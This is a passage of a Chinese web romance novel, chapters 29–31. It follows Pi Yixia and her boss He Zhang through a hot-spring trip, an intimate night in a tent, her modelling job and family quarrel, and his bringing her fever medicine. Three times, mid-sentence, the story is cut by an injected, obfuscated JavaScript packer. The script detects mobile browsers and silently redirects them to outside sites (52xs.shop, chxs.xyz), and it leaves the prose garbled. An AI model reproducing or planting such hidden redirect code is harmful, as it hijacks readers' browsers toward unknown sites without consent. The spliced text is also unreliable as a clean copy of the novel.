总之,到达海润温泉酒店时,皮一夏已经说得口干舌燥,一点也不想跟贺章待在一块了,车刚停稳,她就拿上东西往里跑。 苏晨雪和褚彦已经到了,在房间里等他们。皮一夏到前台办好入住,拿上房卡,不等贺章办完,就甩掉人上楼了。 贺章盯着那个落跑的背影,嘴角勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600087|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起点笑,掏出手机给褚彦发微信:「做个交易。」 很快收到回复:「成交。」 皮一夏在房间里和苏晨雪会和,放好东西简单收拾了一下,就出门逛了。 这家温泉酒店如皮一夏所想,里里外外透着一股子属于有钱人的高端,汗蒸房、水疗SPA、泳池、书吧、影院、太空舱……休闲设施十分齐全。 闲逛了一会儿,两人换好泳衣,去泡私汤。 皮一夏忽然想起,这几天时时萦绕心头的事,迟疑片刻,试探着问苏晨雪:“苏苏,表姐跟赵总是怎么认识的呀,你知道吗?” “听说是经朋友介绍认识的,见了几面之后,就开始恋爱了。你问这个做什么?” “好奇。”皮一夏随口搪塞,“我还以为两人是传说中的商业联姻,婚前也没有感情基础,不是这样吗?” 苏晨雪摇了摇头:“表姐夫家境很一般,他们谈恋爱的时候,舅舅舅妈对两人的关系就不认同,但表姐很喜欢赵总,为了跟他结婚,差点跟家里决裂呢!” “……”听上去苏婉愉是个恋爱脑大小姐。但恋爱脑没错,错的是配不上她的狗男人。 苏晨雪还是很奇怪:“皮皮,你好奇这个做什么?是听人说了什么吗?” “没有没有。”皮一夏忙摆手,“就是……刚刚在路上,看见有人办婚礼,新郎哭惨了。我希望表姐婚姻幸福。人家都说恋爱容易,婚姻不易,越相处才能越了解,越了解才越知道,是不是合适的人……希望赵总,当得起表姐的信任。” 最后这一句话,她的语气有点重,苏晨雪莫名其妙,但隐隐察觉到一些不寻常。 “皮皮,你今天好奇怪,到底发生了什么?你是觉得,赵总当不起表姐信任吗?还是看见了什么?” 苏晨雪太敏锐,有这点奇怪就够了,也许苏苏和表姐吃饭的时候,会把这点奇怪透露给表姐,会不会怀疑,要不要处理,就是她的事了。作为外人,干涉太深不合适。 皮一夏笑着转开了话题:“最近看了一部狗血的偶像剧,讲的是豪门家族,我有感而发。一般大家都觉得,像你们这种千金大小姐,有钱万事足,感情是身外物,但其实不是这样的,起码你和表姐都是很好的女孩,我就希望你们既有钱,又有幸福的爱情。话说,你跟褚彦到底打算怎么办?” 说起这个,苏晨雪又开始害羞,撩水往皮一夏身上泼。 “哎呀你不要问了……早知道我不告诉你了!” “为什么,这有什么不好意思的?”皮一夏反手泼回去,“难道你打算,跟他一辈子当兄妹?他有了喜欢的女生怎么办?你不吃醋,不嫉妒?” 苏晨雪忽然情绪低落下来,皮一夏推己及人,心里那点酸涩又泛上来了。 今天是出来玩的,不该把气氛搞得这么沉重,皮一夏游过去拉她的手:“你心里有数就行了,我不说了,别不开心啊大小姐,你哥永远最喜欢你,你看他把你照顾得无微不至,眼里哪有别人,是不是?” 正说着,苏晨雪放在汤池边的手机响了,褚彦打来了的,让她们泡够了就出来吃饭。 “走走走,咱们去吃饭,我好久没吃海鲜自助了。”皮一夏拉着苏晨雪上岸。 两人跟贺章和褚彦会和,在二楼餐吧吃了饭,皮一夏和苏晨雪又去做SPA,快做完的时候,忽然收到贺章的微信。 一个实时位置,还有言简意赅的两个字。 「过来。」 拇指悬停在屏幕上方,皮一夏盯着这两个字看了很久。 难道……要试一试了吗?可这个位置看着是山里……野外Play?! 29. 沉迷 这么重口味吗? 达成契约之前,她也不知道贺章好这口啊……到底去不去?万一他试过之后不喜欢,关系自动终结?但万一喜欢呢? 无论如何,皮一夏还是出门了。 苏晨雪问她去干嘛,皮一夏不想把她跟贺章的关系宣扬出去,于是以处理工作为由含糊搪塞了过去。 跟着地图导航,走了差不多十五分钟,越走越僻静,这深山老林的,她心里都开始犯忽悠了,终于到达一处幽静的山谷。 绿树和远山之间有一片湖泊,湖畔是平整开阔的青草地,吉普车停在草地上,旁边扎着一个橘黄色的帐篷,贺章背对夕阳坐在帐篷前的帆布椅上,面前是波光粼粼的湖面。 这个画面太好看,皮一夏忍不住掏出手机,偷拍了一张。正要换个角度横拍一张,贺章转过身来了。 她有点尴尬,收起了手机,缓缓朝他走过去。 “你怎么不去泡温泉?” “泡够了。” 她想找把椅子坐下,却发现只有贺章坐的这一把。 “过来。”贺章看着她。 皮一夏茫然:“不是已经过来了吗?” 贺章有点不耐,抓住她的手将她一把拖过去,直接按到了腿上。皮一夏心脏狂跳,眼睛瞪得圆溜溜,一副受惊不小的表情。 贺章仰头凑了过来,她猛地反应过来,一把捂住了他的嘴。贺章皱眉:“怎么了?” “你才怎么了,见面就要亲?”她小声嘟囔,“是不是过度沉迷了……” 贺章一脸正经:“不然,你想怎么培养默契?” “可以就这么抱一会儿吗?”她沉默了一会儿说。 贺章感觉她不是很开心,虽然不知道为什么,但并没有勉强。皮一夏慢慢将手环上他的后颈,靠到了他肩头。 “在想什么?”贺章问。 他在她面前时常困惑,有时感觉她的心思很透明,喜欢不喜欢都露在脸上,但有时,又看不懂她在想什么,所以经常问出这句,在想什么。 皮一夏不想让自己陷入负面情绪里,于是打起精神说:“下午在车上,我跟你说了我的前任,你都没说你的Jessica!” 是呀!分明是她先提的Jessica,贺章不仅什么也没说,还把她的事都套干净了!这到底是怎么发生的?! “什么我的Jessica?不是跟你说了,别信褚彦的胡说八道。那位女士确实表达过心意,我拒绝了。” “可是,有人看见你们月下谈心……” “你信褚彦,不信我?!”贺章瞪着她,声音有点冷。 皮一夏哽了哽:“不敢……那你为什么拒绝呢?” 贺章想了想,缓缓道:“爱情源于文人的意淫,它让女性充满幻想,被男性当作把戏,实际只是荷尔蒙在作祟,除了浪费时间,没什么意义。” “你怎么会这么想。”皮一夏有点震撼,再次坐直了身子,“你不相信有真正的爱情吗?男女之间彼此心意相通,想永远和对方在一起,你不向往吗?” 贺章盯着她的眼沉默片刻,忽然又将她头按回肩上,斥了句:“老动什么,好好待着。” “……” 过了一会儿,她小声说:“你是不是有什么情感冷漠症?有没有去看过心理医生啊?” “嘶!”他警告地紧了紧手臂。 “我不说了。”她立刻怂了。 又过了一会儿,皮一夏问:“那你如果不谈恋爱,不去找到那个合适的人,结婚的事怎么办呢?” 贺章嗤笑一声:“婚姻更是扯淡。” 皮一夏第一次从他嘴里听到有点脏的词汇,已经是非常强烈的情绪表达了,她有点惊讶,愣了愣才开口。 “怎么说?” 贺章似不想多谈,只道:“就那么回事。我不认为我的生活,需要一个女人来指手画脚。” 好美丽的精神状态。看上去,他确实只需要一个床伴,偶尔解决生理需求。哎……她心里酸涩的感觉褪去,苦涩的感觉又涌了上来。 难道是受过什么情感创伤,才导致他对男女之间的感情绝望?或者……也可能不是男女之间。 “那个,我不是歧视,就是问一问啊……你是不是小众群体啊?”皮一夏小心翼翼地说。 贺章不解。 “就是性别男,取向男,或者取向男和女,这种群体?” 贺章忽然捏住她下巴,抬起来,漆黑的眸子直视她:“是什么让你产生了这种疑惑?” 皮一夏讪笑着:“没什么,如果不想回答,可以不回答。” 贺章盯了她两秒,直接吻了上去。她猝不及防,有一瞬的慌乱,但很快适应了节奏。 他好像越来越会接吻了,自从下午说了那一次之后,他现在会有意识地照顾她的感受,亲得很缠绵,却不急迫,只是深……她不由燥热起来,环在他颈后的手臂用了点力,她主动回应,轻轻舔他。 贺章僵了一下,继而推开了她。 “……”不喜欢她主动? 她两眼问号,贺章忽然将她打横抱起,大步走到帐篷前,一手拉开帆布门上的拉链,弯腰把她抱进去,放到了软垫上。 “……”要来真的了?! 伸手不见五指的漆黑里,她猛地屏住呼吸,两手攥紧他的衣襟。贺章随即覆身上来,她猝不及防,又被含住了唇。这一回野蛮多了,比第一次还狠,粗重的呼吸分不清是谁的,他不仅亲她的唇,还在颈上狠狠吮弄。 “别留痕迹……” 她残存了几分神志。但也很快招架不住,浑身都起了燥热,下意识去剥他的外套,却被他攥住手,一把压过了头顶……空前的混乱里,她仰着下颌急促呼吸,甚至压抑不住地呻吟出声,羞耻也顾不上了,然而,他却停了下来。 皮一夏脑子发蒙:“怎么停了?” 他平复了一会儿,低哑的声音说:“今天就到这里。” “……”为什么啊? 贺章不知从哪变出个打火机,“啪”地一声,一簇火苗燃起,暖黄的光点亮了小小的帐篷。 他盯着她因为难受而显得有点委屈的小脸,看了一会儿,缓缓笑起来,又凑过去,轻轻碰了碰她的唇,眼底藏着温柔的神色。 “今天就到这里。”也不知是说给她听,还是说给自己听。 她还被沉沉压着,确定他不会再进一步,一时间怒从心头起,攥拳狠狠捶了他一下,引来一声闷笑,继而是他轻若诱哄的语气:“说好的,一步一步来。” 算你狠!皮一夏使劲推开他,坐起来整理自己。开衫的扣子崩开了两颗,反观他,哪里都没乱! 皮一夏气恼地丢下他,钻出帐篷,抬脚就走,是往酒店的方向,却被随后出来的贺章扯住了。他把她重新拖回刚才的位置,抱她坐在椅子上。 “你还要干什么?”她的语气有点不客气。 贺章抬了抬下巴:“赏月。” “我要回去睡了。”该死的男人,捉弄完她,还这么气定神闲! 贺章严肃正经:“还不到两小时。做事要严谨。”说着把她的头压回肩上。 “……” 皮一夏默默无语片刻,叹了口气。 “叹什么气?”贺章低眼。 皮一夏在他肩头蹭了蹭:“没什么。” “我想我已经证明了,取向。” 所以她还叹什么气? 皮一夏抿唇笑了:“我知道的,贺先生。” 她不是傻子,再清楚不过。就是觉得他,有点可爱。 夜凉如水,四周不闻人声,只有虫鸣。湖畔依偎的身影,仿若亲密恋人,齐齐仰头,望着空中高悬的上弦月。山谷笼罩在万丈清辉中,人心变得极静。 皮一夏盯着月亮发了会儿呆,忽然说:“你要不要许个愿?今晚的月亮这么好,说不定会实现。” 久不闻背后出声,她转回头,恰对上一双幽深的眸子,瞳中那一点亮,竟比头顶的月还要明,她一时怔住。 “你许吧,让给你。”贺章说。 “为什么?” “我的愿望,不需要月亮帮忙。” “你还真是自信。好吧,那我许愿……国泰民安,人月团圆。” 皮一夏双手合十,仰头说完,回身问:“你的愿望是什么?”见他讳莫如深,她心下了然,“不能说吗?那算……” 话音未落,他缓缓开口:“我的愿望是,惩罚一个人。” 她一愣:“谁?” 贺章挑了挑眉,又仰头去看月亮。 “好吧……不想说就算了。不过你这个愿望,黑夜里听起来,还挺吓人的。” 贺章将她摁回肩上:“赏你的月。” 又坐了约么半个小时,皮一夏感觉有点冷,不由搓了搓上臂,贺章将外套脱下来,盖到了她身上。 “谢谢啊。”不过这样一来,他身上只剩一件黑色半袖,“要不我们回酒店吧。” 贺章说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14608295|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“还不到时间。” 还真是一板一眼的人,说两小时就一定要两小时吗?那她可不管了,冻死他。想是这么想,过了一会儿,她还是悄悄掀起外套,遮住了他裸露在外的手臂。 贺章察觉她的小动作,冷硬的脸上染了笑意,看上去比月色还柔和。 皮一夏坐在他怀里,被热热的体温烘着,身上还盖着他的外套,浑身都暖呼呼的,不一会儿就生出困意,靠在他肩头,睡了过去。 贺章等她睡熟了,将她抱回车里,把后排座椅放平,让她躺得舒服些,然后开车回了酒店。 第二天早上,皮一夏在酒店里醒来时,天光已经大亮。房间里就她一个人,苏晨雪这位大小姐住酒店从不跟人同屋,一向都是单开一间。 皮一夏拿起手机看了眼,八点半了,不知道他们都起床没有,吃完早餐该回去了。 正想着,手机里忽然进来一条微信,是以前合作过的一个女装客户,最近要上新款,需要模特照,问她有没有时间接。皮一夏立刻答应下来,谈妥了拍摄费用和时间。 有钱赚,她瞬间动力十足地从床上坐起来,快速洗澡换衣服收拾好出门。赶到餐厅,苏晨雪和褚彦都还没起,贺章却在吃早饭了。 “早啊Ethan!”她笑容满面地打招呼。 贺章有点诧异:“今天有什么好事吗?” “有啊!”皮一夏从餐台取了清粥小菜和包子,加一个鸡蛋,端过来坐他对面,“我要跟你说个事。一会儿回到你家,我把花园里剩下的事做完,下午回家。然后周一……那两个小时,我恐怕没办法完成了。” “为什么?” “要去一趟外地,今天下午就走,周三下午才能回来。其实,周三那两个小时,也说不好,所以需要提前和你打个招呼。” 贺章皱眉:“你去哪里?做什么?” “我去……” 她刚要实话实说,忽然想起贺章是集团老板,而她利用假期时间,在外面接兼职,这样说合适吗?但是公司没有规定不能做副业吧? 她面色纠结,贺章眉心褶痕更深了:“别想花招应付我,实话实说。”语气凉凉的。 “哦……”他怎么知道她要想花招,真是见鬼,“我去浙江,有个服装品牌需要拍模特照,周一到周三,一共三天。结束之后,我想顺道回趟老家,可能周五下午回来。” “所以你是说,从周日下午,到周五下午,你整个国庆假期,都不在北京。” 皮一夏点了点头:“是这样没错。” 贺章面无表情:“你觉得合适吗?” “那我是真的有事嘛!”皮一夏低着头,弱弱地辩解,“而且我们之前也说好了,时间不合适的话,再调整。” 再说,又不是必须完成的任务,以后万一他有事,也可以不用勉强,以正事为重嘛。 贺章感觉气堵、憋闷、焦躁……种种情绪涌上,他勉力压制了一会儿,冷静了:“既然假期你都有事,那周一和三缺席这两天,补到节后的周二和四。” “啊?!” 还需要补回来的?那岂不是说,国庆节后的一周,从周一到周六,她每天都要去他家报到?这怎么跟打卡上班似的,还得必须完成呢?虽然每天都能见到喜欢的人,是很开心没错,但她也不想固定得这么死。 “你有问题?”贺章问,语气危危险险的。 老板的架子又摆出来了。 “暂时没有。” “很好。” 皮一夏默默吃早餐,贺章盯着她敢怒不敢言的小脸,偏头笑了一下。 “还有一件事。”贺章淡着脸说。 “什么事?”皮一夏怏怏掀起眼皮。 “鉴于你昨晚睡了过去,事实上我们接触的时间,只有1小时35分钟,差的25分钟,需要补在后面的日子。” “……” 皮一夏想掀桌了。 她眼睛瞪得滚圆,恼道:“我要抗议!” “你抗议什么?” “你太霸道!” 她没忍住声音有点高,见餐厅里有人看过来,忙抬手挡着脸,往角落里缩了一下。 “我们那个契约,本来就是半自由的,如果一方临时有事,只要提前打招呼就好,没听说过还要补回来的!而且!连差二十五分钟也要补,这是什么道理!”她低声快速说。 贺章的目光落在桌边的一双拳头,少顷又移到愤怒的大眼睛,波澜不惊道:“说完了?” 30. 拥抱 “嗯!说完了!” 贺章放下筷子,两手交叠:“我记得那天说过,一周至少见四次,你同意了。如你所说,一方临时有事在所难免,但如果今天你有事、明天我有事,每次都因故爽约,我们什么时候才能到最后一步?” “……”皮一夏瞬间怂了。 她一点也不想在大庭广众之下,跟他讨论什么“最后一步”。 说起这个,她忽然想起昨晚被他捉弄的事,胆子又壮起来了。要不是他莫名其妙突然喊停,昨晚就能到最后一步! 贺章盯着那张色彩斑斓的小脸,眼中笑意一闪而逝,开口又是淡漠却不容争辩的语气。 “我相信你的契约精神。别让我失望。” “……” 打个巴掌给颗枣是吧。哼!该死的贺老板!锱铢必较的资本家! “又在骂我?”贺章慢条斯理地问。 皮一夏对他的读心术已经见怪不怪了,闻言面不改色说瞎话:“我没有。” “那就好。吃饭。” 这时候,苏晨雪和褚彦也进餐厅了。 苏晨雪说:“皮皮,我昨晚去你房间,你不在。哥说你跟Ethan在开会,开到很晚吗?” 皮一夏脸热,不敢看苏晨雪,只一个劲儿地拿勺子戳粥:“没有太晚,我记不清几点回来的了。” 褚彦意味深长地笑,挑眉看向贺章,后者一如既往地沉稳淡定。 “苏苏,你快吃早餐,吃完咱们回去。”皮一夏赶紧说。 “哦。好。” 从酒店回去的路上,皮一夏仍然坐贺章的车,不过这回她心情不爽,不想伺候老板,全程不主动开口,找话题的事变成了贺章负责,一路也没有太无聊, 回到别墅后,皮一夏先去清扫了花园,那几株蝴蝶兰身上的塑料袋还在,不知道是不是错觉,叶片似乎有比昨天好一点,她很开心。 之后浇灌草坪,在木屋周围撒药,中午十一点多,活儿终于全部干完。她没有在贺章家吃饭,打了个招呼,就匆匆回家收拾行李了。 皮一夏坐最快的一班高铁,晚上八点到达杭州,办理完酒店入住,边吃饭边跟客户对需求,大致心里有数了。 这几天要保证皮肤状态良好,她强迫自己早睡,因此错过了贺章在晚十点半发的微信,结果十一点钟被电话吵醒。 迷迷瞪瞪接起来:“Ethan,什么事?” “到酒店了?”贺章问。 “嗯,到了。太困了晚点再说……” 话音未落,手机已经滑到枕边,人又睡过去了。 贺章听着轻微的呼吸声,过了一会儿才说:“睡吧。” 接下来是整整三天的拍摄行程。早上六点半起来化妆,八点出发,九点正式开工,一上午不停地换衣服,中午简单吃个饭,下午继续拍,一直到五点半收工,拍了四十二套衣服。 后面两天也是这样的节奏,很累,但皮一夏很开心。 周三收工后,没有急着回老家,打算在酒店多住一晚,回一回血。精神一松懈,不由就想起了贺章,她躺在床上,点进他的微信朋友圈。 大部分是集团相关的新闻转载,还有前沿科技领域的文章,一点私生活的痕迹都没有……真无趣。 退回聊天界面,皮一夏盯着他的微信头像出神。 都说微信头像能看出一个人的内心世界,贺章的头像是蓝天下一个又尖又高的屋顶,一看就是外国建筑,难道是他的学校? 这能看出什么来?他喜欢建筑?喜欢学校? 皮一夏琢磨了会儿,不得其解,索性不纠结,手指悬在屏幕上停了半晌,还是发了一条微信:「我拍完啦!很顺利[开心]」 毕竟,他还关心过她有没有到酒店。礼尚往来,她也该打声招呼。 可惜一直没收到他的回复,直到第二天早上起床,才看到他凌晨三点发的消息:「好。注意安全。」 语气很官方,但她就当是关心了。 九点半从杭州坐高铁回台州,下了高铁转大巴,回到白鹤镇已经是十二点半了。 家里的房子临街,是自建的五间瓦房,房子外面就是田间地头,已经快两年没回来过了,但田里干活的邻居都认识她,抬眼见到,免不了叔叔婶婶地叫着打招呼。 回到家放好行李,顾不上吃饭,先收拾院子里的杂草。久无人住的房子,院里满眼的荒凉破败。 正收拾时,听见门口有动静,一抬头,姑姑皮秀莲进来了,她穿着黑裤子和红毛衣,头发半白,一双眼却炯炯有神,仿佛永远有力气打人。 “夏夏,回来怎么也不提前说一声?”皮秀莲笑着问。 这个精明市侩的妇人,说话高声大嗓,对自己有利时,拼了命也要争,一旦威胁到她的利益,变脸比谁都快,这会儿的笑,也不是念着什么亲戚情分。 皮一夏收回视线,不咸不淡地说了句:“不打扰你们,给爸扫完墓我就走。姑姑要有事,就去忙。” 她下了逐客令,皮秀莲也不臊,一屁股歪坐到井沿上说:“想叫你回家吃饭,你看这房子里冷锅冷灶的,你吃什么。” “随便对付一口就行。”皮一夏厌烦跟她墨迹,“你过来找我有事?直说就行。” “这不是……你刚给我们打了五万块,姑心里感激,当面来谢你。” 皮一夏停下扫帚,面无表情地看着她:“那钱是借给表弟治病的,你让个半大孩子拖着病躯来北京找我,我要是不借,怕爸爸在底下闹腾。但我不是大善人,你们什么时候周转过来了,是要还的。还有,我在北京还背着房贷,不是你以为的有钱人,借钱是最后一回,再有下回,就是爸从地里爬出来,我也是没有的。” 皮秀莲讪讪地“欸”了一声,脸上的表情似乎有点纠结。 “还有事?”皮一夏问。 “是有个事。”皮秀莲迟疑着说,“就是镇长那儿子,小涛,你知道吧,那孩子这几年有出息了,也在北京工作。前儿回来了,托人来家里,说想跟你见个面,吃顿饭,要脾性相投呢,就把亲事定下来……” 皮一夏气笑了,一把将扫帚丢到地上,冷道:“你让那家子趁早歇了这心思!我就当从来没听过。你走吧姑,我要休息了。” 皮秀莲一听这话,有点恼,但想到那五万块,又不得不维持脸上的笑:“成。那你先休息吧,要得空,就去姑那吃顿饭。”说完就走了。 皮一夏突然没力气收拾院子了,一个破败的家,怎么也变不出金坷垃。 她回到屋里躺着休息,回想姑姑的话。 那位镇长,当年在街上占妈妈便宜,两家闹了一大场,经过民警调解,赔了两万块,爸爸转头就把钱赌完了。 而镇长的儿子成涛,打小就干坑蒙拐骗的事,上中学时还堵过她几次,难不成过了十几年,魔鬼还能变天使了?真是笑话,她为什么要跟个小痞子定亲! 皮一夏满心愤慨,感觉脑门都着了火,手脚却冰凉,一时连起来弄饭吃的力气都没了。 手机忽然响了,是贺章打来的。这时候看见他的名字,忍不住鼻子酸了一下。 她接起来:“喂,Ethan……” 贺章听她声音不对,皱眉问:“怎么有气无力,病了?” “没有,累的。你找我有事吗?” “你明天几点的车?” “嗯……好像是九点半的,怎么了?” “没事。”贺章沉默片刻,“挂了吧。” “别别!”皮一夏急忙叫住。 “你还有事?” “就是……”她其实也没什么要说的,单纯不想这么快挂电话,心思一转,想了个话题,“如果你有个亲戚,找你借钱,你知道这钱多半是有借无还,还会借吗?” 贺章听着她怏怏不乐的语气,不由也跟着不悦:“知道有借无还,还借什么借?你傻吗!谁借你钱了?” “……”怎么还挨批了呢? 皮一夏更不开心了:“没人借,我就是随便问的。你忙吧,再见。”说完不等贺章回复,就挂了电话。 贺章再打过来,她就不接了。这会儿她可不想听老板训话。 很快,收到他的微信:「皮一夏,你现在胆子肥了。」 就是肥了,怎样?!她一个人生了会儿闷气,没理会。 过了一会儿,又收到一条:「上飞机了。回来收拾你。」 随便!不过,他上什么飞机,是出差了吗? 第二天下午六点多,高铁即将到达北京南站时,皮一夏收到了贺章的微信。 「到P3停车场来。」 嗯?什么意思? 皮一夏忙问:「你来接我了吗?」 过了大概一分钟,收到回复:「附近办事,顺便。」 皮一夏盯着这行字,突然开心得脑袋晕起来了,还有十分钟到站,她坐不住了,收拾好行李,去车门边站着等。门一开,她第一个冲出去。拖着行李箱走了十五分钟,到达P3,根据贺章发来的定位,找到了他的吉普车。 “Ethan——”隔着十几米,她就扬声喊。 贺章听见了,从车里出来,在车头前站着等她。 她穿着浅咖色阔腿裤和露肩白毛衣,颇具时尚感的一套轻熟风搭配,脸上笑吟吟的,却隐隐有一股端庄矜持的疏离感,贺章感觉不适。 “等了很久吗?”皮一夏问。 “不久。” 贺章拖过她的行李箱,放去后备箱。转身,她站在身后,两人对视的刹那,他不知怎么就说了句:“要不要抱一下?”说着就张开了手臂。 皮一夏眼睫颤了颤,心突然砰砰乱跳起来,怔了两秒,她抬步上前,伸出手,缓缓搂住了他的腰。 起初有点陌生,她虚虚拢着,保持恰到好处的礼貌。他们从来没有这样正式拥抱过,尽管很克制,皮一夏的心还是跳得很快,扶在她腰后的手臂陡然收紧,严丝合缝与他上身贴在一起,她被这个冷硬的男人完全纳入怀里,脸一下涨得通红,竟觉得拥抱比接吻还要亲密,忍不住想往后撤,免得他发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624549|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现她乱得不像话的心跳。 “别动。” 贺章淡漠且不悦的声音响起,刮擦着她的耳根,她立刻僵着身子不敢动了。 他的个子高,她的鼻子抵在他肩窝处,不平静的呼吸中,闻到了属于Ethan的香气,她忽然感觉眼眶热了。 真想一直这样抱着他,到天荒地老。 她悄悄地抓住他黑色风衣的后腰,手臂用了点力,继续加深这个拥抱。 贺章感受到她的动作,嘴角不由泛起一丝浅笑。 这几天香港北京两地飞,不停地见人、开会,只在夜深时才有空想她,他觉得不满意,很烦躁,直到此时,将人抱在怀里,一瞬间疲惫全消,才总算踏实了。 “Ethan,你假期怎么过的?是出差了吗?”她闷闷地问。 贺章“嗯”了一声:“去了一趟香港分公司。” “哦。”顿了顿,她说,“资本家也挺惨的。” 他抬了抬唇角:“知道就好。” 皮一夏慢慢平复了心跳,放松地依偎在他怀里,片刻就觉得浑身暖洋洋,不由生了些困意。 “Ethan,要抱多久啊?” 贺章两指挟起她下巴,与她四目相对:“不想抱了?” “……不是。”她又开始脸热,“我就是有点困。如果你还需要抱一会儿,我就浅浅眯一下。” 贺章沉默两秒,忽然放开了她。 “上车。” 啊……这就不抱了吗?太突然了吧。她又有点失落。 慢吞吞转到侧门边,钻进副驾坐好,贺章启动了车子。 “座椅放一放……” 他话音刚落,就见她已经调好靠背,半躺在副驾上,一双栗色的大眼睛眨巴眨巴,无辜地看着他。 很好。会照顾自己了。 贺章牵唇笑了笑,驶出停车场,往佳华小区开。 上车后说了几句话,她就睡了过去,贺章从后排拿了个毯子过来,放到她腿上,正要抖开给她盖,她自己迷迷瞪瞪抓起来,蒙到身上,歪头又睡了过去。 “……”傻样。 快开到小区时,皮一夏被手机震动吵醒了,拿起来看了眼,是微信工作群消息。 她皱眉回复了几条,脑子清醒了,放下手机前看了眼时间,七点半,外面天都黑了,她竟然睡了一路。 “不好意思啊。”她有点尴尬地笑着,扫见身上的灰色毛毯,又说,“谢谢。” 贺章偏头瞥了她一眼,没说什么,径直拐进小区,找了个车位停进去。 皮一夏下车,去后备箱拖出行李。贺章站在车头前方等她,见她过来,随即转身往单元门走。 她有点懵……他还要上楼吗?难道因为今天是周五,有两个小时之约? 电梯里,皮一夏低头不语,贺章瞥了她几眼,直到两人都站到房门口,皮一夏忽然说:“Ethan,你要不要先回家呀?今天的两个小时,后面再补,我有点累,怕应付不来。” “你要应付我?”贺章皱眉,“开门。” 好吧……凶什么嘛。皮一夏输入密码打开门,贺章把行李箱拎了进去。 “谢谢……” 她话音刚落,忽被他一手捧住脸,另一手揽过腰,迅疾吻住了。动作太突然,她一时没站稳,倒退了两步,背撞到墙上。 很缠绵的一个吻,她被吮得舌根发酸,脸颊滚烫,脑子又开始晕乎。被放开时,腿都有点软。两人额头相抵,站在黑暗的玄关处,各自平复急促的呼吸。 少顷,贺章伸手按下开关,屋子瞬间亮起,强光刺激得她闭了闭眼,睁开时,他打开了房门。 她傻傻地愣住,还没来得及说话,贺章就走了出去,还顺手带上了门……亲完就走,是生气了吗? 皮一夏在玄关呆站了一分钟,叹了口气,把行李箱拖进客厅,从衣柜里拿了套干净睡衣,去卫生间洗漱。 身上没力气,她草草洗了个澡,头发都没吹干,就出来了。 顶着干发帽,慢吞吞回到卧室,往床上一倒,抖开被子盖到身上,她打算好好睡一觉,一切都等到睡醒再说。结果刚要睡着,门就被敲响了。 真想打人。 “放门口吧!”她扬声朝门外喊。 敲门声停了几秒,密码锁的滴滴声却响了。皮一夏脑子一懵,倏地从床上坐起,下一瞬,房门竟然被推开了! 快递员进屋了?!! 这个念头闪现的刹那,她的心跳像重锤,狠狠砸了起来,手脚并用爬下床,转头一看……贺章?! 他不是走了吗? 无论如何……不是陌生人入室,她心里一松,瞬间跌坐回床上,有气无力地问了句:“你怎么回来了?” 还有,他怎么知道她家大门密码……好吧,是她输入时没有避着他,但他也真是不客气,竟然真看。不过现在不是密码锁的问题,问题是,他回来做什么? 贺章阔步走到床前,黑色风衣还裹着屋外的凉气,手里拎一个透明塑料袋。 31. 中药 袋里装的是药盒,三个。 “你发烧了自己不知道?”贺章沉着脸说。 皮一夏仰着头,呆了两秒才说:“哦……怪不得这两天头重脚轻,我还以为是累的。”说着伸手捂到额头上,试了试,“应该不是高烧,问题不大。” 贺章因她这副不以为意的样子而不悦,低沉的嗓音里带了两分火气:“饮水机在哪?” “没有饮水机,厨房里有热水壶,我去烧点水。” 她起身要走,却被贺章一把拉住,双手扶肩,重新按坐回床上。 “好好待着。” “……哦。” 她盯着他背影,直到进入厨房看不见了,才收回视线,目光落在床上的塑料袋。里面有布洛芬、对乙酰氨基酚、小柴胡颗粒……都是退烧药。 厨房里传来烧水的声音,很快,贺章走回卧室,站在她身前,冷脸斥道:“发着烧,裹着一头湿发,就要睡觉了?” 他这神色,又穿了一件黑色风衣,更显得整个人气质冷硬,跟个煞神一样,居高临下盯着她,压迫感扑面而来,让她感觉自己好像犯了什么错,说话的底气稍显不足。 “应该只是低烧。我打算眯一会儿,再起来吹头发的。” “体温计在哪?”贺章问。 她抬手指了指书架:“第三层的搁板上。” 贺章从书架上取过来,递给她:“试。” “哦,谢谢。” 她接过来,拔开透明塑料管上的蓝色盖帽,取出水银温度计,甩了两下,拈起睡衣领口。 贺章别开脸,视线转到窗外,淡声说了句:“就不能买个额温枪,或者耳温枪?你是真不嫌浪费时间。” 皮一夏仰头冲他笑:“我觉得那些都不如腋温准……不过Ethan,你怎么知道我发烧了?” 贺章缓缓转回头,幽深的目光落在她眼中,旋即又不受控制地移至唇上。眼皮很轻微的小动作,却被直直盯着他的人捕捉到了,她灵光乍现一般地想,是刚刚接吻的时候,察觉的吗? 想到这一点,她不由得尴尬起来,眼睫抖动着。 热水壶跳闸了,贺章转身去了厨房,很快,端着一杯热水出来,放到客厅的茶几上。 “来吃药。” “好的。” 